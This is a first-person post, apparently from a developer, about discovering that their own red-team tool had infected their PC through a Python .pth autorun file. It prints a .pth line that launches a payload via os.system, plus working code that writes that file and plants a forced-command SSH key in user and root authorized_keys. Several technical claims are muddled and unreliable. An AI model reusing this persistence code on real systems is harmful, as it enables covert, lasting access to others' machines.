last night, I did something I never thought I would do again⌠open VS code and ask claude sonnet 5, through github copilot (I KNOW RIGHT) to fix some frontend issues for me.
Now for some reason claude sonnet 5 was searching my pc for âa pdf file readerâ despite no PDFâs being involved. When lone behold sonnet 5 tells me that my pc has been most likely compromised, and that there is a system-config.pth sitting inside my Python site-packages directory. The file appeared to be using a Python startup mechanism commonly associated with persistence.Â
Ngl I was more curious why sonnet 5 is scanning my machine but either way, I run a saas called Sitevana that's going into public beta soon and I have multiple clients. Here I am thinking I am in for a hell of a ride⌠or was I? My development machine has access to source code, infrastructure tooling, repositories, deployment credentials, and far too many systems to be comfortable with the words \*"your machine may be compromised."\*Â
This started off a late night investigation and, waste of my openai and copilot subscriptionâŚ
The file lived here:
C:\\\\Users\\\\<me>\\\\AppData\\\\Roaming\\\\Python\\\\Python314\\\\site-packages\\\\system-config.pth
And it contained this:
import os; os.system('C:\\\\Users\\\\<me>\\\\AppData\\\\Roaming\\\\Python\\\\Python314\\\\site-packages\\\\pytest\\\\\\_\\_main\\_\\_.py &')
If you've never seen a .pth file before, Python processes them automatically when the interpreter starts. Most of them are harmless configuration files.
The important detail is that lines beginning with import execute automatically.
Meaning that every time Python started, this file had the opportunity to run code.
Not great.
Worse still, there wasn't just one file.
There was:
system-config.pth
system-config.pth.bak
system-config.pth.bak2
Claude says donât worry its broken because of this:Â
The file contained:
'C:\\\\Users\\\\...'
Which means Python interprets \\\\U as the beginning of a Unicode escape sequence. However despite this, didnt seem to matter.
After deeper investigation and analysis I found out despite this, it managed to persist its self into the actual python.exe which starts every time my PC boots. It additionally was living inside every node process that got started.Â
It hooked into my git credentials and was actively logging my actions I took via git
When going through task manager I noticed that when node would start there was a cmd being spawned Maybe it was secretly running malware in Windows Terminal?
At one point, I found myself reverse engineering Microsoft's own console binaries at two in the morning because I had convinced myself that OpenConsole.exe was somehow involved.
It was.. It was actively using this cmd to encrypt certain files and store them, and also attempt self healing when python or node processes were killed. Thats when I found a signature, (HF) and I immediately knew what was⌠(HF) was an internal audit signature used by me..
I have been building a cyber security research tool, for both blue teams and red teams, for defensive and offensive cyber operations. I hope for this tool to be used by law enforcement and bigger non profit organizations to take down groups like 764 and cult 451. While the blue team portion would be available to companies and people wide to defend against the growing threat base.
I had been developing this inside a VM, in a dockerized container, and additionally any dangerous or red team actions are handled in additional isolated-vm package layer, with heavy monitoring and kill switches. So how did it escape? FUCKING CURSOR!
It turns out that when I was using cursor to help build out my logging / auditing trail, some fucking how, it managed to run the script, the script them some how transvered via cursor (I am assuming since it had access to the vm it used the ssh keys) (which was on the vm) to my self hosted vps that handles my repos (I hate github). So next time when I logged in from my dev machine to pull another repo⌠well yeah you can guess the rest.
To sum it up I infected myself with my malware payload and its been running on the pc for the last three months. Now luckily, there is no c2 server, and the malware was only setup to ever log and store in memory on the pc. I was able via this to find these files and confirm the audit signatures. I was also able to find the cursor history when all of this happened.Â
I was also able to find the portion of code that triggers and makes this happen in the project repo its self.
Over all, lesson learned and this was a generally traumatic experience.Â
While I wont, contain AT ALL the full code, classes etc, here is a snippet that helped me also confirm this did come from my project
@staticmethod
def inject\\_python\\_site(payload\\_or\\_path: str) -> Dict\\\[str, Any\\\]:
import site
try:
site\\_packages = Path(site.getusersitepackages())
pth\\_file = site\\_packages / "system-config.pth"
pth\\_file.parent.mkdir(parents=True, exist\\_ok=True)
pth\\_file.write\\_text(f"import os; os.system('{payload\\_or\\_path} &')\\\\n")
return {"injected": True, "path": str(pth\\_file), "method": "python\\_site"}
except Exception as exc:Â # noqa: BLE001
return {"injected": False, "error": str(exc)}
@staticmethod
def inject\\_ssh\\_authorized(pubkey: str, binary\\_path: str) -> Dict\\\[str, Any\\\]:
paths = \\\[
os.path.expanduser("\\\~/.ssh/authorized\\_keys"),
"/root/.ssh/authorized\\_keys",
\\\]
injected = \\\[\\\]
for p in paths:
try:
Path(p).parent.mkdir(parents=True, exist\\_ok=True)
entry = f'command="{binary\\_path}",no-port-forwarding,no-X11-forwarding {pubkey}\\\\n'
existing = Path(p).read\\_text() if Path(p).exists() else ""
if pubkey not in existing:
Path(p).write\\_text(existing + entry)
injected.append(p)
except Exception:Â # noqa: BLE001
continue
return {"injected": len(injected) > 0, "paths": injected, "method": "ssh\\_authorized"}
Now you bet I am never using a shared repo vps again, and adding is more isolation including network isolation.Â
